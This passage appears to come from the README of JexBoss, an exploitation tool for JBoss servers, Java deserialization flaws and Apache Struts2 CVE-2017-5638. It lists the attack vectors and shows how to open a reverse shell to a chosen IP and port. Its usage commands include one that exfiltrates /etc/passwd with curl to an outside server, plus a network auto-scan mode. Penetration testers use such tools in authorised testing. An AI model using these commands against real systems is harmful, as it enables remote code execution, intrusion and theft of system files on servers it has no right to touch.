Features
--------

The tool and exploits were developed and tested for:

-   JBoss Application Server versions: 3, 4, 5 and 6.
-   Java Deserialization Vulnerabilities in multiple java frameworks,
    platforms and applications (e.g., Java Server Faces - JSF, Seam
    Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote
    JMX (CVE-2016-3427, CVE-2016-8735), etc)

The exploitation vectors are:

-   /admin-console
    -   tested and working in JBoss versions 5 and 6
-   /jmx-console
    -   tested and working in JBoss versions 4, 5 and 6
-   /web-console/Invoker
    -   tested and working in JBoss versions 4, 5 and 6
-   /invoker/JMXInvokerServlet
    -   tested and working in JBoss versions 4, 5 and 6
-   Application Deserialization
    -   tested and working against multiple java applications,
        platforms, etc, via HTTP POST Parameters
-   Servlet Deserialization
    -   tested and working against multiple java applications,
        platforms, etc, via servlets that process serialized objets
        (e.g. when you see an \"Invoker\" in a link)
-   Apache Struts2 CVE-2017-5638
    -   tested in Apache Struts 2 applications

Reverse Shell (meterpreter integration)

After you exploit a JBoss server, you can use the own jexboss command shell or perform a reverse connection using the following command:

   jexremote=YOUR_IP:YOUR_PORT

   Example:
     Shell>jexremote=192.168.0.10:4444
  • Example: alt tag{width="5.833333333333333in" height="1.895372922134733in"}

When exploiting java deserialization vulnerabilities (Application Deserialization, Servlet Deserialization), the default options are: make a reverse shell connection or send a commando to execute.

Usage examples

  • For Java Deserialization Vulnerabilities in a custom HTTP parameter and to send a custom command to be executed on the exploited server:

```{=html} 

    $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'

-   For Java Deserialization Vulnerabilities in a custom HTTP parameter
    and to make a reverse shell (this will ask for an IP address and
    port of your remote host):

```{=html}
<!-- -->

$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
  • For Java Deserialization Vulnerabilities in a Servlet (like Invoker):

```{=html} 

    $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize

-   For Apache Struts 2 (CVE-2017-5638)

```{=html}
<!-- -->

$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
  • For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources

```{=html} 

    $ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"

-   Auto scan mode:

```{=html}
<!-- -->

$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
